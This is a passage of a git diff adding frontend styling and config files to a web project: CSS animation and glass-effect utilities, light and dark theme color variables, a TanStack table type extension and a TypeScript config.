+  /* Gradient utilities */
+  .bg-radial {
+    background-image: radial-gradient(var(--tw-gradient-stops));
+  }
+
+  /* Glass morphism effects - matching Launch UI template */
+  .glass-1 {
+    @apply border-border from-card/80 to-card/40 dark:border-border/10 dark:border-b-border/5 dark:border-t-border/20 dark:from-card/5 dark:to-card/0 border bg-linear-to-b;
+  }
+
+  .glass-2 {
+    @apply border-border from-card/100 to-card/80 dark:border-border/10 dark:border-b-border/5 dark:border-t-border/20 dark:from-card/10 dark:to-card/5 border bg-linear-to-b;
+  }
+
+  .glass-3 {
+    @apply border-border from-card/30 to-card/20 dark:border-border/10 dark:border-t-border/20 dark:border-b-border/5 dark:from-primary/5 dark:to-primary/2 border bg-linear-to-b;
+  }
+
+  .glass-4 {
+    @apply border-border border-b-input/90 from-card/60 to-card/20 dark:border-border/10 dark:border-t-border/30 dark:from-primary/10 dark:to-primary/5 border bg-linear-to-b dark:border-b-0;
+  }
+
+  .glass-5 {
+    @apply border-border border-b-input from-card/100 to-card/20 dark:border-border/10 dark:border-t-border/30 dark:from-primary/15 dark:to-primary/5 border bg-linear-to-b dark:border-b-0;
+  }
+
+  /* Fade effects - matching Launch UI template */
+  .fade-x {
+    mask-image: linear-gradient(
+      to right,
+      transparent 0%,
+      black 25%,
+      black 75%,
+      transparent 100%
+    );
+  }
+
+  .fade-y {
+    mask-image: linear-gradient(
+      to top,
+      transparent 0%,
+      black 25%,
+      black 75%,
+      transparent 100%
+    );
+  }
+
+  .fade-top {
+    mask-image: linear-gradient(to bottom, transparent 0%, black 35%);
+  }
+
+  .fade-bottom {
+    mask-image: linear-gradient(to top, transparent 0%, black 35%);
+  }
+
+  .fade-top-lg {
+    mask-image: linear-gradient(to bottom, transparent 15%, black 100%);
+  }
+
+  .fade-bottom-lg {
+    mask-image: linear-gradient(to top, transparent 15%, black 100%);
+  }
+
+  .fade-left {
+    mask-image: linear-gradient(to right, transparent 0%, black 35%);
+  }
+
+  .fade-right {
+    mask-image: linear-gradient(to left, transparent 0%, black 35%);
+  }
+
+  .fade-left-lg {
+    mask-image: linear-gradient(to right, transparent 15%, black 100%);
+  }
+
+  .fade-right-lg {
+    mask-image: linear-gradient(to left, transparent 15%, black 100%);
+  }
+
+  /* Animations */
+  .animate-appear {
+    animation: appear 0.6s forwards ease-out;
+  }
+
+  .animate-appear-zoom {
+    animation: appear-zoom 0.6s forwards ease-out;
+  }
+
+  .animation-delay-100 {
+    animation-delay: 100ms;
+  }
+
+  .animation-delay-300 {
+    animation-delay: 300ms;
+  }
+
+  .animation-delay-700 {
+    animation-delay: 700ms;
+  }
+
+  .animation-delay-1000 {
+    animation-delay: 1000ms;
+  }
+
+  @keyframes appear {
+    0% {
+      opacity: 0;
+      transform: translateY(1rem);
+      filter: blur(0.5rem);
+    }
+    50% {
+      filter: blur(0);
+    }
+    100% {
+      opacity: 1;
+      transform: translateY(0);
+      filter: blur(0);
+    }
+  }
+
+  @keyframes appear-zoom {
+    0% {
+      opacity: 0;
+      transform: scale(0.5);
+    }
+    100% {
+      opacity: 1;
+      transform: scale(1);
+    }
+  }
+
+  /* Vertical scroll animation for icon lists */
+  @keyframes scroll-up {
+    0% {
+      transform: translateY(0);
+    }
+    100% {
+      transform: translateY(-50%);
+    }
+  }
+
+  .animate-scroll-up {
+    animation: scroll-up 20s linear infinite;
+    will-change: transform;
+  }
+
+  .animate-scroll-down {
+    animation: scroll-up 20s linear infinite reverse;
+    will-change: transform;
+  }
+
+  /* Pause animation on hover */
+  .scroll-container:hover .animate-scroll-up,
+  .scroll-container:hover .animate-scroll-down {
+    animation-play-state: paused;
+  }
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .animate-appear,
+  .animate-appear-zoom,
+  .animate-scroll-up,
+  .animate-scroll-down,
+  [data-slot='table'] tbody tr {
+    animation: none !important;
+    opacity: 1;
+    transform: none;
+  }
+}
+
+/* ── Landing page scroll-triggered animations ── */
+@keyframes landing-fade-up {
+  from {
+    opacity: 0;
+    transform: translateY(24px);
+  }
+  to {
+    opacity: 1;
+    transform: translateY(0);
+  }
+}
+@keyframes landing-fade-in {
+  from {
+    opacity: 0;
+  }
+  to {
+    opacity: 1;
+  }
+}
+@keyframes landing-scale-in {
+  from {
+    opacity: 0;
+    transform: scale(0.95);
+  }
+  to {
+    opacity: 1;
+    transform: scale(1);
+  }
+}
+@keyframes landing-fade-left {
+  from {
+    opacity: 0;
+    transform: translateX(24px);
+  }
+  to {
+    opacity: 1;
+    transform: translateX(0);
+  }
+}
+@keyframes landing-fade-right {
+  from {
+    opacity: 0;
+    transform: translateX(-24px);
+  }
+  to {
+    opacity: 1;
+    transform: translateX(0);
+  }
+}
+
+.landing-animate-fade-up {
+  animation: landing-fade-up 0.6s cubic-bezier(0.16, 1, 0.3, 1) both;
+}
+.landing-animate-fade-in {
+  animation: landing-fade-in 0.6s ease-out both;
+}
+.landing-animate-scale-in {
+  animation: landing-scale-in 0.6s cubic-bezier(0.16, 1, 0.3, 1) both;
+}
+.landing-animate-fade-left {
+  animation: landing-fade-left 0.6s cubic-bezier(0.16, 1, 0.3, 1) both;
+}
+.landing-animate-fade-right {
+  animation: landing-fade-right 0.6s cubic-bezier(0.16, 1, 0.3, 1) both;
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .landing-animate-fade-up,
+  .landing-animate-fade-in,
+  .landing-animate-scale-in,
+  .landing-animate-fade-left,
+  .landing-animate-fade-right {
+    animation: none !important;
+    opacity: 1 !important;
+    transform: none !important;
+  }
+}
+
+/* Micro-interactions — Vercel-style subtle hover/active feedback */
+@media (prefers-reduced-motion: no-preference) {
+  [data-slot='card'] {
+    transition:
+      transform 150ms ease,
+      box-shadow 150ms ease;
+  }
+
+  @media (min-width: 641px) {
+    [data-slot='card']:hover {
+      transform: translateY(-1px);
+      box-shadow: 0 4px 12px rgb(0 0 0 / 0.06);
+    }
+
+    .dark [data-slot='card']:hover {
+      box-shadow: 0 4px 12px rgb(0 0 0 / 0.3);
+    }
+  }
+
+  button:not(:disabled):active,
+  [role='button']:not(:disabled):active {
+    transform: scale(0.98);
+  }
+
+  [data-slot='table'] tr {
+    transition: background-color 120ms ease;
+  }
+
+  /* Table row stagger-in animation */
+  [data-slot='table'] tbody tr {
+    animation: tableRowEnter 0.2s cubic-bezier(0.33, 1, 0.68, 1) both;
+  }
+  [data-slot='table'] tbody tr:nth-child(2) {
+    animation-delay: 25ms;
+  }
+  [data-slot='table'] tbody tr:nth-child(3) {
+    animation-delay: 50ms;
+  }
+  [data-slot='table'] tbody tr:nth-child(4) {
+    animation-delay: 75ms;
+  }
+  [data-slot='table'] tbody tr:nth-child(5) {
+    animation-delay: 100ms;
+  }
+  [data-slot='table'] tbody tr:nth-child(6) {
+    animation-delay: 125ms;
+  }
+  [data-slot='table'] tbody tr:nth-child(7) {
+    animation-delay: 150ms;
+  }
+  [data-slot='table'] tbody tr:nth-child(8) {
+    animation-delay: 175ms;
+  }
+  [data-slot='table'] tbody tr:nth-child(9) {
+    animation-delay: 200ms;
+  }
+  [data-slot='table'] tbody tr:nth-child(10) {
+    animation-delay: 225ms;
+  }
+  [data-slot='table'] tbody tr:nth-child(n + 11) {
+    animation-delay: 250ms;
+  }
+}
+
+@keyframes tableRowEnter {
+  from {
+    opacity: 0;
+    transform: translateY(4px);
+  }
+  to {
+    opacity: 1;
+    transform: translateY(0);
+  }
+}
+
+/* Tabular numbers for data-heavy contexts */
+[data-slot='table'] td,
+.tabular-nums {
+  font-variant-numeric: tabular-nums;
+}
+
+/* Long list rendering optimization */
+.content-auto {
+  content-visibility: auto;
+  contain-intrinsic-size: 0 80px;
+}
+
+/* ── Hero terminal demo animations ── */
+@keyframes terminal-demo-blink {
+  0%,
+  100% {
+    opacity: 1;
+  }
+  50% {
+    opacity: 0;
+  }
+}
+.terminal-demo-blink {
+  animation: terminal-demo-blink 1s step-end infinite;
+}
+
+@keyframes terminal-demo-spin {
+  to {
+    transform: rotate(360deg);
+  }
+}
+.terminal-demo-spin {
+  animation: terminal-demo-spin 0.8s linear infinite;
+}
+
+@keyframes terminal-demo-pulse {
+  0%,
+  100% {
+    opacity: 1;
+  }
+  50% {
+    opacity: 0.3;
+  }
+}
+.terminal-demo-pulse {
+  animation: terminal-demo-pulse 1.5s ease-in-out infinite;
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .terminal-demo-blink,
+  .terminal-demo-spin,
+  .terminal-demo-pulse {
+    animation: none !important;
+  }
+}
diff --git a/new-api/web/default/src/styles/theme.css b/new-api/web/default/src/styles/theme.css
new file mode 100644
index 0000000..98ee941
--- /dev/null
+++ b/new-api/web/default/src/styles/theme.css
@@ -0,0 +1,124 @@
+@custom-variant dark (&:is(.dark *));
+
+:root {
+  --background: oklch(0.994 0.002 247.858);
+  --foreground: oklch(0.18 0.035 264.695);
+  --card: oklch(0.997 0.002 247.858);
+  --card-foreground: oklch(0.18 0.035 264.695);
+  --popover: oklch(0.997 0.002 247.858);
+  --popover-foreground: oklch(0.18 0.035 264.695);
+  --primary: oklch(0.255 0.042 265.755);
+  --primary-foreground: oklch(0.985 0.004 247.858);
+  --secondary: oklch(0.974 0.004 247.896);
+  --secondary-foreground: oklch(0.255 0.042 265.755);
+  --muted: oklch(0.972 0.004 247.896);
+  --muted-foreground: oklch(0.49 0.04 257.417);
+  --accent: oklch(0.972 0.004 247.896);
+  --accent-foreground: oklch(0.255 0.042 265.755);
+  --destructive: oklch(0.577 0.245 27.325);
+  --border: oklch(0.925 0.01 255.508);
+  --input: oklch(0.925 0.01 255.508);
+  --ring: oklch(0.64 0.055 256.788);
+  --chart-1: oklch(0.646 0.222 41.116);
+  --chart-2: oklch(0.6 0.118 184.704);
+  --chart-3: oklch(0.398 0.07 227.392);
+  --chart-4: oklch(0.828 0.189 84.429);
+  --chart-5: oklch(0.769 0.188 70.08);
+  --radius: 0.625rem;
+  --sidebar: oklch(0.991 0.002 247.858);
+  --sidebar-foreground: var(--foreground);
+  --sidebar-primary: var(--primary);
+  --sidebar-primary-foreground: var(--primary-foreground);
+  --sidebar-accent: var(--accent);
+  --sidebar-accent-foreground: var(--accent-foreground);
+  --sidebar-border: var(--border);
+  --sidebar-ring: var(--ring);
+  --skeleton-base: oklch(0.948 0.004 264);
+  --skeleton-highlight: oklch(0.988 0.002 264);
+}
+
+.dark {
+  --background: oklch(0.245 0.018 265);
+  --foreground: oklch(0.88 0.014 252);
+  --card: oklch(0.275 0.017 265);
+  --card-foreground: oklch(0.88 0.014 252);
+  --popover: oklch(0.3 0.018 265);
+  --popover-foreground: oklch(0.88 0.014 252);
+  --primary: oklch(0.68 0.12 236);
+  --primary-foreground: oklch(0.985 0.004 247.858);
+  --secondary: oklch(0.32 0.016 265);
+  --secondary-foreground: oklch(0.88 0.014 252);
+  --muted: oklch(0.305 0.016 265);
+  --muted-foreground: oklch(0.72 0.018 252);
+  --accent: oklch(0.34 0.024 255);
+  --accent-foreground: oklch(0.9 0.012 252);
+  --destructive: oklch(0.704 0.191 22.216);
+  --border: oklch(0.38 0.018 265);
+  --input: oklch(0.405 0.018 265);
+  --ring: oklch(0.62 0.09 236);
+  --chart-1: oklch(0.488 0.243 264.376);
+  --chart-2: oklch(0.696 0.17 162.48);
+  --chart-3: oklch(0.769 0.188 70.08);
+  --chart-4: oklch(0.627 0.265 303.9);
+  --chart-5: oklch(0.645 0.246 16.439);
+  --sidebar: oklch(0.255 0.017 265);
+  --sidebar-foreground: oklch(0.86 0.014 252);
+  --sidebar-primary: var(--primary);
+  --sidebar-primary-foreground: var(--primary-foreground);
+  --sidebar-accent: oklch(0.325 0.018 265);
+  --sidebar-accent-foreground: oklch(0.9 0.012 252);
+  --sidebar-border: oklch(0.37 0.018 265);
+  --sidebar-ring: var(--ring);
+  --skeleton-base: oklch(0.31 0.014 265);
+  --skeleton-highlight: oklch(0.39 0.018 265);
+}
+
+@theme inline {
+  --font-sans: 'Public Sans', sans-serif;
+  --font-inter:
+    -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen', 'Ubuntu',
+    'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue', sans-serif;
+  --font-manrope:
+    -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen', 'Ubuntu',
+    'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue', sans-serif;
+
+  --color-background: var(--background);
+  --color-foreground: var(--foreground);
+  --color-card: var(--card);
+  --color-card-foreground: var(--card-foreground);
+  --color-popover: var(--popover);
+  --color-popover-foreground: var(--popover-foreground);
+  --color-primary: var(--primary);
+  --color-primary-foreground: var(--primary-foreground);
+  --color-secondary: var(--secondary);
+  --color-secondary-foreground: var(--secondary-foreground);
+  --color-muted: var(--muted);
+  --color-muted-foreground: var(--muted-foreground);
+  --color-accent: var(--accent);
+  --color-accent-foreground: var(--accent-foreground);
+  --color-destructive: var(--destructive);
+  --color-border: var(--border);
+  --color-input: var(--input);
+  --color-ring: var(--ring);
+  --color-chart-1: var(--chart-1);
+  --color-chart-2: var(--chart-2);
+  --color-chart-3: var(--chart-3);
+  --color-chart-4: var(--chart-4);
+  --color-chart-5: var(--chart-5);
+  --color-sidebar: var(--sidebar);
+  --color-sidebar-foreground: var(--sidebar-foreground);
+  --color-sidebar-primary: var(--sidebar-primary);
+  --color-sidebar-primary-foreground: var(--sidebar-primary-foreground);
+  --color-sidebar-accent: var(--sidebar-accent);
+  --color-sidebar-accent-foreground: var(--sidebar-accent-foreground);
+  --color-sidebar-border: var(--sidebar-border);
+  --color-sidebar-ring: var(--sidebar-ring);
+
+  --radius-sm: calc(var(--radius) - 4px);
+  --radius-md: calc(var(--radius) - 2px);
+  --radius-lg: var(--radius);
+  --radius-xl: calc(var(--radius) + 4px);
+  --radius-2xl: calc(var(--radius) + 8px);
+  --radius-3xl: calc(var(--radius) + 12px);
+  --radius-4xl: calc(var(--radius) + 16px);
+}
diff --git a/new-api/web/default/src/tanstack-table.d.ts b/new-api/web/default/src/tanstack-table.d.ts
new file mode 100644
index 0000000..0047eef
--- /dev/null
+++ b/new-api/web/default/src/tanstack-table.d.ts
@@ -0,0 +1,15 @@
+import '@tanstack/react-table'
+
+declare module '@tanstack/react-table' {
+  // Extended column metadata for enhanced table functionality
+  interface ColumnMeta<_TData, _TValue> {
+    // Human-readable label for the column
+    label?: string
+    // Optional description shown in tooltips or help text
+    description?: string
+    // Whether this column can be sorted (overrides default behavior)
+    sortable?: boolean
+    // Custom CSS classes to apply to the column cells
+    className?: string
+  }
+}
diff --git a/new-api/web/default/tsconfig.app.json b/new-api/web/default/tsconfig.app.json
new file mode 100644
index 0000000..bab1263
--- /dev/null
+++ b/new-api/web/default/tsconfig.app.json
@@ -0,0 +1,33 @@
+{
+  "compilerOptions": {
+    "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo",
+    "target": "ES2020",
+    "useDefineForClassFields": true,
+    "lib": ["ES2022", "DOM", "DOM.Iterable"],
+    "module": "ESNext",
+    "skipLibCheck": true,
+
+    /* Bundler mode */
+    "moduleResolution": "Bundler",
+    "allowImportingTsExtensions": true,
+    "resolveJsonModule": true,
+    "isolatedModules": true,
+    "moduleDetection": "force",
+    "noEmit": true,
+    "jsx": "react-jsx",
+
+    /* Alias */
+    "baseUrl": ".",
+    "paths": {
+      "@/*": ["./src/*"]
+    },
+
+    /* Linting */
+    "strict": true,
+    "noUnusedLocals": true,
+    "noUnusedParameters": true,
+    "noFallthroughCasesInSwitch": true,
+    "noUncheckedSideEffectImports": true
+  },
+  "include": ["src"]
+}